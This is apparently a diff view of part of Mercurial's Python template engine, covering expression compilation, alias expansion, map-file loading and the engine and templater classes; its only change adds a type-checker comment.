413 if exp[0] == b'symbol':
413 if exp[0] == b'symbol':
414 return exp[1]
414 return exp[1]
415 raise error.ParseError(_(b"expected a symbol, got '%s'") % exp[0])
415 raise error.ParseError(_(b"expected a symbol, got '%s'") % exp[0])
416
416
417
417
418 def getlist(x):
418 def getlist(x):
419 if not x:
419 if not x:
420 return []
420 return []
421 if x[0] == b'list':
421 if x[0] == b'list':
422 return getlist(x[1]) + [x[2]]
422 return getlist(x[1]) + [x[2]]
423 return [x]
423 return [x]
424
424
425
425
426 def gettemplate(exp, context):
426 def gettemplate(exp, context):
427 """Compile given template tree or load named template from map file;
427 """Compile given template tree or load named template from map file;
428 returns (func, data) pair"""
428 returns (func, data) pair"""
429 if exp[0] in (b'template', b'string'):
429 if exp[0] in (b'template', b'string'):
430 return compileexp(exp, context, methods)
430 return compileexp(exp, context, methods)
431 if exp[0] == b'symbol':
431 if exp[0] == b'symbol':
432 # unlike runsymbol(), here 'symbol' is always taken as template name
432 # unlike runsymbol(), here 'symbol' is always taken as template name
433 # even if it exists in mapping. this allows us to override mapping
433 # even if it exists in mapping. this allows us to override mapping
434 # by web templates, e.g. 'changelogtag' is redefined in map file.
434 # by web templates, e.g. 'changelogtag' is redefined in map file.
435 return context._load(exp[1])
435 return context._load(exp[1])
436 raise error.ParseError(_(b"expected template specifier"))
436 raise error.ParseError(_(b"expected template specifier"))
437
437
438
438
439 def _runrecursivesymbol(context, mapping, key):
439 def _runrecursivesymbol(context, mapping, key):
440 raise error.Abort(_(b"recursive reference '%s' in template") % key)
440 raise error.Abort(_(b"recursive reference '%s' in template") % key)
441
441
442
442
443 def buildtemplate(exp, context):
443 def buildtemplate(exp, context):
444 ctmpl = [compileexp(e, context, methods) for e in exp[1:]]
444 ctmpl = [compileexp(e, context, methods) for e in exp[1:]]
445 return (templateutil.runtemplate, ctmpl)
445 return (templateutil.runtemplate, ctmpl)
446
446
447
447
448 def buildfilter(exp, context):
448 def buildfilter(exp, context):
449 n = getsymbol(exp[2])
449 n = getsymbol(exp[2])
450 if n in context._filters:
450 if n in context._filters:
451 filt = context._filters[n]
451 filt = context._filters[n]
452 arg = compileexp(exp[1], context, methods)
452 arg = compileexp(exp[1], context, methods)
453 return (templateutil.runfilter, (arg, filt))
453 return (templateutil.runfilter, (arg, filt))
454 if n in context._funcs:
454 if n in context._funcs:
455 f = context._funcs[n]
455 f = context._funcs[n]
456 args = _buildfuncargs(exp[1], context, methods, n, f._argspec)
456 args = _buildfuncargs(exp[1], context, methods, n, f._argspec)
457 return (f, args)
457 return (f, args)
458 raise error.ParseError(_(b"unknown function '%s'") % n)
458 raise error.ParseError(_(b"unknown function '%s'") % n)
459
459
460
460
461 def buildmap(exp, context):
461 def buildmap(exp, context):
462 darg = compileexp(exp[1], context, methods)
462 darg = compileexp(exp[1], context, methods)
463 targ = gettemplate(exp[2], context)
463 targ = gettemplate(exp[2], context)
464 return (templateutil.runmap, (darg, targ))
464 return (templateutil.runmap, (darg, targ))
465
465
466
466
467 def buildmember(exp, context):
467 def buildmember(exp, context):
468 darg = compileexp(exp[1], context, methods)
468 darg = compileexp(exp[1], context, methods)
469 memb = getsymbol(exp[2])
469 memb = getsymbol(exp[2])
470 return (templateutil.runmember, (darg, memb))
470 return (templateutil.runmember, (darg, memb))
471
471
472
472
473 def buildnegate(exp, context):
473 def buildnegate(exp, context):
474 arg = compileexp(exp[1], context, exprmethods)
474 arg = compileexp(exp[1], context, exprmethods)
475 return (templateutil.runnegate, arg)
475 return (templateutil.runnegate, arg)
476
476
477
477
478 def buildarithmetic(exp, context, func):
478 def buildarithmetic(exp, context, func):
479 left = compileexp(exp[1], context, exprmethods)
479 left = compileexp(exp[1], context, exprmethods)
480 right = compileexp(exp[2], context, exprmethods)
480 right = compileexp(exp[2], context, exprmethods)
481 return (templateutil.runarithmetic, (func, left, right))
481 return (templateutil.runarithmetic, (func, left, right))
482
482
483
483
484 def buildfunc(exp, context):
484 def buildfunc(exp, context):
485 n = getsymbol(exp[1])
485 n = getsymbol(exp[1])
486 if n in context._funcs:
486 if n in context._funcs:
487 f = context._funcs[n]
487 f = context._funcs[n]
488 args = _buildfuncargs(exp[2], context, exprmethods, n, f._argspec)
488 args = _buildfuncargs(exp[2], context, exprmethods, n, f._argspec)
489 return (f, args)
489 return (f, args)
490 if n in context._filters:
490 if n in context._filters:
491 args = _buildfuncargs(exp[2], context, exprmethods, n, argspec=None)
491 args = _buildfuncargs(exp[2], context, exprmethods, n, argspec=None)
492 if len(args) != 1:
492 if len(args) != 1:
493 raise error.ParseError(_(b"filter %s expects one argument") % n)
493 raise error.ParseError(_(b"filter %s expects one argument") % n)
494 f = context._filters[n]
494 f = context._filters[n]
495 return (templateutil.runfilter, (args[0], f))
495 return (templateutil.runfilter, (args[0], f))
496 raise error.ParseError(_(b"unknown function '%s'") % n)
496 raise error.ParseError(_(b"unknown function '%s'") % n)
497
497
498
498
499 def _buildfuncargs(exp, context, curmethods, funcname, argspec):
499 def _buildfuncargs(exp, context, curmethods, funcname, argspec):
500 """Compile parsed tree of function arguments into list or dict of
500 """Compile parsed tree of function arguments into list or dict of
501 (func, data) pairs
501 (func, data) pairs
502
502
503 >>> context = engine(lambda t: (templateutil.runsymbol, t))
503 >>> context = engine(lambda t: (templateutil.runsymbol, t))
504 >>> def fargs(expr, argspec):
504 >>> def fargs(expr, argspec):
505 ... x = _parseexpr(expr)
505 ... x = _parseexpr(expr)
506 ... n = getsymbol(x[1])
506 ... n = getsymbol(x[1])
507 ... return _buildfuncargs(x[2], context, exprmethods, n, argspec)
507 ... return _buildfuncargs(x[2], context, exprmethods, n, argspec)
508 >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
508 >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
509 ['l', 'k']
509 ['l', 'k']
510 >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
510 >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
511 >>> list(args.keys()), list(args[b'opts'].keys())
511 >>> list(args.keys()), list(args[b'opts'].keys())
512 (['opts'], ['opts', 'k'])
512 (['opts'], ['opts', 'k'])
513 """
513 """
514
514
515 def compiledict(xs):
515 def compiledict(xs):
516 return util.sortdict(
516 return util.sortdict(
517 (k, compileexp(x, context, curmethods))
517 (k, compileexp(x, context, curmethods))
518 for k, x in pycompat.iteritems(xs)
518 for k, x in pycompat.iteritems(xs)
519 )
519 )
520
520
521 def compilelist(xs):
521 def compilelist(xs):
522 return [compileexp(x, context, curmethods) for x in xs]
522 return [compileexp(x, context, curmethods) for x in xs]
523
523
524 if not argspec:
524 if not argspec:
525 # filter or function with no argspec: return list of positional args
525 # filter or function with no argspec: return list of positional args
526 return compilelist(getlist(exp))
526 return compilelist(getlist(exp))
527
527
528 # function with argspec: return dict of named args
528 # function with argspec: return dict of named args
529 _poskeys, varkey, _keys, optkey = argspec = parser.splitargspec(argspec)
529 _poskeys, varkey, _keys, optkey = argspec = parser.splitargspec(argspec)
530 treeargs = parser.buildargsdict(
530 treeargs = parser.buildargsdict(
531 getlist(exp),
531 getlist(exp),
532 funcname,
532 funcname,
533 argspec,
533 argspec,
534 keyvaluenode=b'keyvalue',
534 keyvaluenode=b'keyvalue',
535 keynode=b'symbol',
535 keynode=b'symbol',
536 )
536 )
537 compargs = util.sortdict()
537 compargs = util.sortdict()
538 if varkey:
538 if varkey:
539 compargs[varkey] = compilelist(treeargs.pop(varkey))
539 compargs[varkey] = compilelist(treeargs.pop(varkey))
540 if optkey:
540 if optkey:
541 compargs[optkey] = compiledict(treeargs.pop(optkey))
541 compargs[optkey] = compiledict(treeargs.pop(optkey))
542 compargs.update(compiledict(treeargs))
542 compargs.update(compiledict(treeargs))
543 return compargs
543 return compargs
544
544
545
545
546 def buildkeyvaluepair(exp, content):
546 def buildkeyvaluepair(exp, content):
547 raise error.ParseError(_(b"can't use a key-value pair in this context"))
547 raise error.ParseError(_(b"can't use a key-value pair in this context"))
548
548
549
549
550 def buildlist(exp, context):
550 def buildlist(exp, context):
551 raise error.ParseError(
551 raise error.ParseError(
552 _(b"can't use a list in this context"),
552 _(b"can't use a list in this context"),
553 hint=_(b'check place of comma and parens'),
553 hint=_(b'check place of comma and parens'),
554 )
554 )
555
555
556
556
557 # methods to interpret function arguments or inner expressions (e.g. {_(x)})
557 # methods to interpret function arguments or inner expressions (e.g. {_(x)})
558 exprmethods = {
558 exprmethods = {
559 b"integer": lambda e, c: (templateutil.runinteger, e[1]),
559 b"integer": lambda e, c: (templateutil.runinteger, e[1]),
560 b"string": lambda e, c: (templateutil.runstring, e[1]),
560 b"string": lambda e, c: (templateutil.runstring, e[1]),
561 b"symbol": lambda e, c: (templateutil.runsymbol, e[1]),
561 b"symbol": lambda e, c: (templateutil.runsymbol, e[1]),
562 b"template": buildtemplate,
562 b"template": buildtemplate,
563 b"group": lambda e, c: compileexp(e[1], c, exprmethods),
563 b"group": lambda e, c: compileexp(e[1], c, exprmethods),
564 b".": buildmember,
564 b".": buildmember,
565 b"|": buildfilter,
565 b"|": buildfilter,
566 b"%": buildmap,
566 b"%": buildmap,
567 b"func": buildfunc,
567 b"func": buildfunc,
568 b"keyvalue": buildkeyvaluepair,
568 b"keyvalue": buildkeyvaluepair,
569 b"list": buildlist,
569 b"list": buildlist,
570 b"+": lambda e, c: buildarithmetic(e, c, lambda a, b: a + b),
570 b"+": lambda e, c: buildarithmetic(e, c, lambda a, b: a + b),
571 b"-": lambda e, c: buildarithmetic(e, c, lambda a, b: a - b),
571 b"-": lambda e, c: buildarithmetic(e, c, lambda a, b: a - b),
572 b"negate": buildnegate,
572 b"negate": buildnegate,
573 b"*": lambda e, c: buildarithmetic(e, c, lambda a, b: a * b),
573 b"*": lambda e, c: buildarithmetic(e, c, lambda a, b: a * b),
574 b"/": lambda e, c: buildarithmetic(e, c, lambda a, b: a // b),
574 b"/": lambda e, c: buildarithmetic(e, c, lambda a, b: a // b),
575 }
575 }
576
576
577 # methods to interpret top-level template (e.g. {x}, {x|_}, {x % "y"})
577 # methods to interpret top-level template (e.g. {x}, {x|_}, {x % "y"})
578 methods = exprmethods.copy()
578 methods = exprmethods.copy()
579 methods[b"integer"] = exprmethods[b"symbol"] # '{1}' as variable
579 methods[b"integer"] = exprmethods[b"symbol"] # '{1}' as variable
580
580
581
581
582 class _aliasrules(parser.basealiasrules):
582 class _aliasrules(parser.basealiasrules):
583 """Parsing and expansion rule set of template aliases"""
583 """Parsing and expansion rule set of template aliases"""
584
584
585 _section = _(b'template alias')
585 _section = _(b'template alias')
586 _parse = staticmethod(_parseexpr)
586 _parse = staticmethod(_parseexpr)
587
587
588 @staticmethod
588 @staticmethod
589 def _trygetfunc(tree):
589 def _trygetfunc(tree):
590 """Return (name, args) if tree is func(...) or ...|filter; otherwise
590 """Return (name, args) if tree is func(...) or ...|filter; otherwise
591 None"""
591 None"""
592 if tree[0] == b'func' and tree[1][0] == b'symbol':
592 if tree[0] == b'func' and tree[1][0] == b'symbol':
593 return tree[1][1], getlist(tree[2])
593 return tree[1][1], getlist(tree[2])
594 if tree[0] == b'|' and tree[2][0] == b'symbol':
594 if tree[0] == b'|' and tree[2][0] == b'symbol':
595 return tree[2][1], [tree[1]]
595 return tree[2][1], [tree[1]]
596
596
597
597
598 def expandaliases(tree, aliases):
598 def expandaliases(tree, aliases):
599 """Return new tree of aliases are expanded"""
599 """Return new tree of aliases are expanded"""
600 aliasmap = _aliasrules.buildmap(aliases)
600 aliasmap = _aliasrules.buildmap(aliases)
601 return _aliasrules.expand(aliasmap, tree)
601 return _aliasrules.expand(aliasmap, tree)
602
602
603
603
604 # template engine
604 # template engine
605
605
606
606
607 def unquotestring(s):
607 def unquotestring(s):
608 '''unwrap quotes if any; otherwise returns unmodified string'''
608 '''unwrap quotes if any; otherwise returns unmodified string'''
609 if len(s) < 2 or s[0] not in b"'\"" or s[0] != s[-1]:
609 if len(s) < 2 or s[0] not in b"'\"" or s[0] != s[-1]:
610 return s
610 return s
611 return s[1:-1]
611 return s[1:-1]
612
612
613
613
614 class resourcemapper(object):
614 class resourcemapper(object): # pytype: disable=ignored-metaclass
615 """Mapper of internal template resources"""
615 """Mapper of internal template resources"""
616
616
617 __metaclass__ = abc.ABCMeta
617 __metaclass__ = abc.ABCMeta
618
618
619 @abc.abstractmethod
619 @abc.abstractmethod
620 def availablekeys(self, mapping):
620 def availablekeys(self, mapping):
621 """Return a set of available resource keys based on the given mapping"""
621 """Return a set of available resource keys based on the given mapping"""
622
622
623 @abc.abstractmethod
623 @abc.abstractmethod
624 def knownkeys(self):
624 def knownkeys(self):
625 """Return a set of supported resource keys"""
625 """Return a set of supported resource keys"""
626
626
627 @abc.abstractmethod
627 @abc.abstractmethod
628 def lookup(self, mapping, key):
628 def lookup(self, mapping, key):
629 """Return a resource for the key if available; otherwise None"""
629 """Return a resource for the key if available; otherwise None"""
630
630
631 @abc.abstractmethod
631 @abc.abstractmethod
632 def populatemap(self, context, origmapping, newmapping):
632 def populatemap(self, context, origmapping, newmapping):
633 """Return a dict of additional mapping items which should be paired
633 """Return a dict of additional mapping items which should be paired
634 with the given new mapping"""
634 with the given new mapping"""
635
635
636
636
637 class nullresourcemapper(resourcemapper):
637 class nullresourcemapper(resourcemapper):
638 def availablekeys(self, mapping):
638 def availablekeys(self, mapping):
639 return set()
639 return set()
640
640
641 def knownkeys(self):
641 def knownkeys(self):
642 return set()
642 return set()
643
643
644 def lookup(self, mapping, key):
644 def lookup(self, mapping, key):
645 return None
645 return None
646
646
647 def populatemap(self, context, origmapping, newmapping):
647 def populatemap(self, context, origmapping, newmapping):
648 return {}
648 return {}
649
649
650
650
651 class engine(object):
651 class engine(object):
652 '''template expansion engine.
652 '''template expansion engine.
653
653
654 template expansion works like this. a map file contains key=value
654 template expansion works like this. a map file contains key=value
655 pairs. if value is quoted, it is treated as string. otherwise, it
655 pairs. if value is quoted, it is treated as string. otherwise, it
656 is treated as name of template file.
656 is treated as name of template file.
657
657
658 templater is asked to expand a key in map. it looks up key, and
658 templater is asked to expand a key in map. it looks up key, and
659 looks for strings like this: {foo}. it expands {foo} by looking up
659 looks for strings like this: {foo}. it expands {foo} by looking up
660 foo in map, and substituting it. expansion is recursive: it stops
660 foo in map, and substituting it. expansion is recursive: it stops
661 when there is no more {foo} to replace.
661 when there is no more {foo} to replace.
662
662
663 expansion also allows formatting and filtering.
663 expansion also allows formatting and filtering.
664
664
665 format uses key to expand each item in list. syntax is
665 format uses key to expand each item in list. syntax is
666 {key%format}.
666 {key%format}.
667
667
668 filter uses function to transform value. syntax is
668 filter uses function to transform value. syntax is
669 {key|filter1|filter2|...}.'''
669 {key|filter1|filter2|...}.'''
670
670
671 def __init__(self, loader, filters=None, defaults=None, resources=None):
671 def __init__(self, loader, filters=None, defaults=None, resources=None):
672 self._loader = loader
672 self._loader = loader
673 if filters is None:
673 if filters is None:
674 filters = {}
674 filters = {}
675 self._filters = filters
675 self._filters = filters
676 self._funcs = templatefuncs.funcs # make this a parameter if needed
676 self._funcs = templatefuncs.funcs # make this a parameter if needed
677 if defaults is None:
677 if defaults is None:
678 defaults = {}
678 defaults = {}
679 if resources is None:
679 if resources is None:
680 resources = nullresourcemapper()
680 resources = nullresourcemapper()
681 self._defaults = defaults
681 self._defaults = defaults
682 self._resources = resources
682 self._resources = resources
683 self._cache = {} # key: (func, data)
683 self._cache = {} # key: (func, data)
684 self._tmplcache = {} # literal template: (func, data)
684 self._tmplcache = {} # literal template: (func, data)
685
685
686 def overlaymap(self, origmapping, newmapping):
686 def overlaymap(self, origmapping, newmapping):
687 """Create combined mapping from the original mapping and partial
687 """Create combined mapping from the original mapping and partial
688 mapping to override the original"""
688 mapping to override the original"""
689 # do not copy symbols which overrides the defaults depending on
689 # do not copy symbols which overrides the defaults depending on
690 # new resources, so the defaults will be re-evaluated (issue5612)
690 # new resources, so the defaults will be re-evaluated (issue5612)
691 knownres = self._resources.knownkeys()
691 knownres = self._resources.knownkeys()
692 newres = self._resources.availablekeys(newmapping)
692 newres = self._resources.availablekeys(newmapping)
693 mapping = {
693 mapping = {
694 k: v
694 k: v
695 for k, v in pycompat.iteritems(origmapping)
695 for k, v in pycompat.iteritems(origmapping)
696 if (
696 if (
697 k in knownres # not a symbol per self.symbol()
697 k in knownres # not a symbol per self.symbol()
698 or newres.isdisjoint(self._defaultrequires(k))
698 or newres.isdisjoint(self._defaultrequires(k))
699 )
699 )
700 }
700 }
701 mapping.update(newmapping)
701 mapping.update(newmapping)
702 mapping.update(
702 mapping.update(
703 self._resources.populatemap(self, origmapping, newmapping)
703 self._resources.populatemap(self, origmapping, newmapping)
704 )
704 )
705 return mapping
705 return mapping
706
706
707 def _defaultrequires(self, key):
707 def _defaultrequires(self, key):
708 """Resource keys required by the specified default symbol function"""
708 """Resource keys required by the specified default symbol function"""
709 v = self._defaults.get(key)
709 v = self._defaults.get(key)
710 if v is None or not callable(v):
710 if v is None or not callable(v):
711 return ()
711 return ()
712 return getattr(v, '_requires', ())
712 return getattr(v, '_requires', ())
713
713
714 def symbol(self, mapping, key):
714 def symbol(self, mapping, key):
715 """Resolve symbol to value or function; None if nothing found"""
715 """Resolve symbol to value or function; None if nothing found"""
716 v = None
716 v = None
717 if key not in self._resources.knownkeys():
717 if key not in self._resources.knownkeys():
718 v = mapping.get(key)
718 v = mapping.get(key)
719 if v is None:
719 if v is None:
720 v = self._defaults.get(key)
720 v = self._defaults.get(key)
721 return v
721 return v
722
722
723 def availableresourcekeys(self, mapping):
723 def availableresourcekeys(self, mapping):
724 """Return a set of available resource keys based on the given mapping"""
724 """Return a set of available resource keys based on the given mapping"""
725 return self._resources.availablekeys(mapping)
725 return self._resources.availablekeys(mapping)
726
726
727 def knownresourcekeys(self):
727 def knownresourcekeys(self):
728 """Return a set of supported resource keys"""
728 """Return a set of supported resource keys"""
729 return self._resources.knownkeys()
729 return self._resources.knownkeys()
730
730
731 def resource(self, mapping, key):
731 def resource(self, mapping, key):
732 """Return internal data (e.g. cache) used for keyword/function
732 """Return internal data (e.g. cache) used for keyword/function
733 evaluation"""
733 evaluation"""
734 v = self._resources.lookup(mapping, key)
734 v = self._resources.lookup(mapping, key)
735 if v is None:
735 if v is None:
736 raise templateutil.ResourceUnavailable(
736 raise templateutil.ResourceUnavailable(
737 _(b'template resource not available: %s') % key
737 _(b'template resource not available: %s') % key
738 )
738 )
739 return v
739 return v
740
740
741 def _load(self, t):
741 def _load(self, t):
742 '''load, parse, and cache a template'''
742 '''load, parse, and cache a template'''
743 if t not in self._cache:
743 if t not in self._cache:
744 x = self._loader(t)
744 x = self._loader(t)
745 # put poison to cut recursion while compiling 't'
745 # put poison to cut recursion while compiling 't'
746 self._cache[t] = (_runrecursivesymbol, t)
746 self._cache[t] = (_runrecursivesymbol, t)
747 try:
747 try:
748 self._cache[t] = compileexp(x, self, methods)
748 self._cache[t] = compileexp(x, self, methods)
749 except: # re-raises
749 except: # re-raises
750 del self._cache[t]
750 del self._cache[t]
751 raise
751 raise
752 return self._cache[t]
752 return self._cache[t]
753
753
754 def _parse(self, tmpl):
754 def _parse(self, tmpl):
755 """Parse and cache a literal template"""
755 """Parse and cache a literal template"""
756 if tmpl not in self._tmplcache:
756 if tmpl not in self._tmplcache:
757 x = parse(tmpl)
757 x = parse(tmpl)
758 self._tmplcache[tmpl] = compileexp(x, self, methods)
758 self._tmplcache[tmpl] = compileexp(x, self, methods)
759 return self._tmplcache[tmpl]
759 return self._tmplcache[tmpl]
760
760
761 def preload(self, t):
761 def preload(self, t):
762 """Load, parse, and cache the specified template if available"""
762 """Load, parse, and cache the specified template if available"""
763 try:
763 try:
764 self._load(t)
764 self._load(t)
765 return True
765 return True
766 except templateutil.TemplateNotFound:
766 except templateutil.TemplateNotFound:
767 return False
767 return False
768
768
769 def process(self, t, mapping):
769 def process(self, t, mapping):
770 '''Perform expansion. t is name of map element to expand.
770 '''Perform expansion. t is name of map element to expand.
771 mapping contains added elements for use during expansion. Is a
771 mapping contains added elements for use during expansion. Is a
772 generator.'''
772 generator.'''
773 func, data = self._load(t)
773 func, data = self._load(t)
774 return self._expand(func, data, mapping)
774 return self._expand(func, data, mapping)
775
775
776 def expand(self, tmpl, mapping):
776 def expand(self, tmpl, mapping):
777 """Perform expansion over a literal template
777 """Perform expansion over a literal template
778
778
779 No user aliases will be expanded since this is supposed to be called
779 No user aliases will be expanded since this is supposed to be called
780 with an internal template string.
780 with an internal template string.
781 """
781 """
782 func, data = self._parse(tmpl)
782 func, data = self._parse(tmpl)
783 return self._expand(func, data, mapping)
783 return self._expand(func, data, mapping)
784
784
785 def _expand(self, func, data, mapping):
785 def _expand(self, func, data, mapping):
786 # populate additional items only if they don't exist in the given
786 # populate additional items only if they don't exist in the given
787 # mapping. this is slightly different from overlaymap() because the
787 # mapping. this is slightly different from overlaymap() because the
788 # initial 'revcache' may contain pre-computed items.
788 # initial 'revcache' may contain pre-computed items.
789 extramapping = self._resources.populatemap(self, {}, mapping)
789 extramapping = self._resources.populatemap(self, {}, mapping)
790 if extramapping:
790 if extramapping:
791 extramapping.update(mapping)
791 extramapping.update(mapping)
792 mapping = extramapping
792 mapping = extramapping
793 return templateutil.flatten(self, mapping, func(self, mapping, data))
793 return templateutil.flatten(self, mapping, func(self, mapping, data))
794
794
795
795
796 def stylelist():
796 def stylelist():
797 paths = templatepaths()
797 paths = templatepaths()
798 if not paths:
798 if not paths:
799 return _(b'no templates found, try `hg debuginstall` for more info')
799 return _(b'no templates found, try `hg debuginstall` for more info')
800 dirlist = os.listdir(paths[0])
800 dirlist = os.listdir(paths[0])
801 stylelist = []
801 stylelist = []
802 for file in dirlist:
802 for file in dirlist:
803 split = file.split(b".")
803 split = file.split(b".")
804 if split[-1] in (b'orig', b'rej'):
804 if split[-1] in (b'orig', b'rej'):
805 continue
805 continue
806 if split[0] == b"map-cmdline":
806 if split[0] == b"map-cmdline":
807 stylelist.append(split[1])
807 stylelist.append(split[1])
808 return b", ".join(sorted(stylelist))
808 return b", ".join(sorted(stylelist))
809
809
810
810
811 def _readmapfile(mapfile):
811 def _readmapfile(mapfile):
812 """Load template elements from the given map file"""
812 """Load template elements from the given map file"""
813 if not os.path.exists(mapfile):
813 if not os.path.exists(mapfile):
814 raise error.Abort(
814 raise error.Abort(
815 _(b"style '%s' not found") % mapfile,
815 _(b"style '%s' not found") % mapfile,
816 hint=_(b"available styles: %s") % stylelist(),
816 hint=_(b"available styles: %s") % stylelist(),
817 )
817 )
818
818
819 base = os.path.dirname(mapfile)
819 base = os.path.dirname(mapfile)
820 conf = config.config(includepaths=templatepaths())
820 conf = config.config(includepaths=templatepaths())
821 conf.read(mapfile, remap={b'': b'templates'})
821 conf.read(mapfile, remap={b'': b'templates'})
822
822
823 cache = {}
823 cache = {}
824 tmap = {}
824 tmap = {}
825 aliases = []
825 aliases = []
826
826
827 val = conf.get(b'templates', b'__base__')
827 val = conf.get(b'templates', b'__base__')
828 if val and val[0] not in b"'\"":
828 if val and val[0] not in b"'\"":
829 # treat as a pointer to a base class for this style
829 # treat as a pointer to a base class for this style
830 path = util.normpath(os.path.join(base, val))
830 path = util.normpath(os.path.join(base, val))
831
831
832 # fallback check in template paths
832 # fallback check in template paths
833 if not os.path.exists(path):
833 if not os.path.exists(path):
834 for p in templatepaths():
834 for p in templatepaths():
835 p2 = util.normpath(os.path.join(p, val))
835 p2 = util.normpath(os.path.join(p, val))
836 if os.path.isfile(p2):
836 if os.path.isfile(p2):
837 path = p2
837 path = p2
838 break
838 break
839 p3 = util.normpath(os.path.join(p2, b"map"))
839 p3 = util.normpath(os.path.join(p2, b"map"))
840 if os.path.isfile(p3):
840 if os.path.isfile(p3):
841 path = p3
841 path = p3
842 break
842 break
843
843
844 cache, tmap, aliases = _readmapfile(path)
844 cache, tmap, aliases = _readmapfile(path)
845
845
846 for key, val in conf[b'templates'].items():
846 for key, val in conf[b'templates'].items():
847 if not val:
847 if not val:
848 raise error.ParseError(
848 raise error.ParseError(
849 _(b'missing value'), conf.source(b'templates', key)
849 _(b'missing value'), conf.source(b'templates', key)
850 )
850 )
851 if val[0] in b"'\"":
851 if val[0] in b"'\"":
852 if val[0] != val[-1]:
852 if val[0] != val[-1]:
853 raise error.ParseError(
853 raise error.ParseError(
854 _(b'unmatched quotes'), conf.source(b'templates', key)
854 _(b'unmatched quotes'), conf.source(b'templates', key)
855 )
855 )
856 cache[key] = unquotestring(val)
856 cache[key] = unquotestring(val)
857 elif key != b'__base__':
857 elif key != b'__base__':
858 tmap[key] = os.path.join(base, val)
858 tmap[key] = os.path.join(base, val)
859 aliases.extend(conf[b'templatealias'].items())
859 aliases.extend(conf[b'templatealias'].items())
860 return cache, tmap, aliases
860 return cache, tmap, aliases
861
861
862
862
863 class loader(object):
863 class loader(object):
864 """Load template fragments optionally from a map file"""
864 """Load template fragments optionally from a map file"""
865
865
866 def __init__(self, cache, aliases):
866 def __init__(self, cache, aliases):
867 if cache is None:
867 if cache is None:
868 cache = {}
868 cache = {}
869 self.cache = cache.copy()
869 self.cache = cache.copy()
870 self._map = {}
870 self._map = {}
871 self._aliasmap = _aliasrules.buildmap(aliases)
871 self._aliasmap = _aliasrules.buildmap(aliases)
872
872
873 def __contains__(self, key):
873 def __contains__(self, key):
874 return key in self.cache or key in self._map
874 return key in self.cache or key in self._map
875
875
876 def load(self, t):
876 def load(self, t):
877 """Get parsed tree for the given template name. Use a local cache."""
877 """Get parsed tree for the given template name. Use a local cache."""
878 if t not in self.cache:
878 if t not in self.cache:
879 try:
879 try:
880 self.cache[t] = util.readfile(self._map[t])
880 self.cache[t] = util.readfile(self._map[t])
881 except KeyError as inst:
881 except KeyError as inst:
882 raise templateutil.TemplateNotFound(
882 raise templateutil.TemplateNotFound(
883 _(b'"%s" not in template map') % inst.args[0]
883 _(b'"%s" not in template map') % inst.args[0]
884 )
884 )
885 except IOError as inst:
885 except IOError as inst:
886 reason = _(b'template file %s: %s') % (
886 reason = _(b'template file %s: %s') % (
887 self._map[t],
887 self._map[t],
888 stringutil.forcebytestr(inst.args[1]),
888 stringutil.forcebytestr(inst.args[1]),
889 )
889 )
890 raise IOError(inst.args[0], encoding.strfromlocal(reason))
890 raise IOError(inst.args[0], encoding.strfromlocal(reason))
891 return self._parse(self.cache[t])
891 return self._parse(self.cache[t])
892
892
893 def _parse(self, tmpl):
893 def _parse(self, tmpl):
894 x = parse(tmpl)
894 x = parse(tmpl)
895 if self._aliasmap:
895 if self._aliasmap:
896 x = _aliasrules.expand(self._aliasmap, x)
896 x = _aliasrules.expand(self._aliasmap, x)
897 return x
897 return x
898
898
899 def _findsymbolsused(self, tree, syms):
899 def _findsymbolsused(self, tree, syms):
900 if not tree:
900 if not tree:
901 return
901 return
902 op = tree[0]
902 op = tree[0]
903 if op == b'symbol':
903 if op == b'symbol':
904 s = tree[1]
904 s = tree[1]
905 if s in syms[0]:
905 if s in syms[0]:
906 return # avoid recursion: s -> cache[s] -> s
906 return # avoid recursion: s -> cache[s] -> s
907 syms[0].add(s)
907 syms[0].add(s)
908 if s in self.cache or s in self._map:
908 if s in self.cache or s in self._map:
909 # s may be a reference for named template
909 # s may be a reference for named template
910 self._findsymbolsused(self.load(s), syms)
910 self._findsymbolsused(self.load(s), syms)
911 return
911 return
912 if op in {b'integer', b'string'}:
912 if op in {b'integer', b'string'}:
913 return
913 return
914 # '{arg|func}' == '{func(arg)}'
914 # '{arg|func}' == '{func(arg)}'
915 if op == b'|':
915 if op == b'|':
916 syms[1].add(getsymbol(tree[2]))
916 syms[1].add(getsymbol(tree[2]))
917 self._findsymbolsused(tree[1], syms)
917 self._findsymbolsused(tree[1], syms)
918 return
918 return
919 if op == b'func':
919 if op == b'func':
920 syms[1].add(getsymbol(tree[1]))
920 syms[1].add(getsymbol(tree[1]))
921 self._findsymbolsused(tree[2], syms)
921 self._findsymbolsused(tree[2], syms)
922 return
922 return
923 for x in tree[1:]:
923 for x in tree[1:]:
924 self._findsymbolsused(x, syms)
924 self._findsymbolsused(x, syms)
925
925
926 def symbolsused(self, t):
926 def symbolsused(self, t):
927 """Look up (keywords, filters/functions) referenced from the name
927 """Look up (keywords, filters/functions) referenced from the name
928 template 't'
928 template 't'
929
929
930 This may load additional templates from the map file.
930 This may load additional templates from the map file.
931 """
931 """
932 syms = (set(), set())
932 syms = (set(), set())
933 self._findsymbolsused(self.load(t), syms)
933 self._findsymbolsused(self.load(t), syms)
934 return syms
934 return syms
935
935
936
936
937 class templater(object):
937 class templater(object):
938 def __init__(
938 def __init__(
939 self,
939 self,
940 filters=None,
940 filters=None,
941 defaults=None,
941 defaults=None,
942 resources=None,
942 resources=None,
943 cache=None,
943 cache=None,
944 aliases=(),
944 aliases=(),
945 minchunk=1024,
945 minchunk=1024,
946 maxchunk=65536,
946 maxchunk=65536,
947 ):
947 ):
948 """Create template engine optionally with preloaded template fragments
948 """Create template engine optionally with preloaded template fragments
949
949
950 - ``filters``: a dict of functions to transform a value into another.
950 - ``filters``: a dict of functions to transform a value into another.
951 - ``defaults``: a dict of symbol values/functions; may be overridden
951 - ``defaults``: a dict of symbol values/functions; may be overridden
952 by a ``mapping`` dict.
952 by a ``mapping`` dict.
953 - ``resources``: a resourcemapper object to look up internal data
953 - ``resources``: a resourcemapper object to look up internal data
954 (e.g. cache), inaccessible from user template.
954 (e.g. cache), inaccessible from user template.
955 - ``cache``: a dict of preloaded template fragments.
955 - ``cache``: a dict of preloaded template fragments.
956 - ``aliases``: a list of alias (name, replacement) pairs.
956 - ``aliases``: a list of alias (name, replacement) pairs.
957
957
958 self.cache may be updated later to register additional template
958 self.cache may be updated later to register additional template
959 fragments.
959 fragments.
960 """
960 """
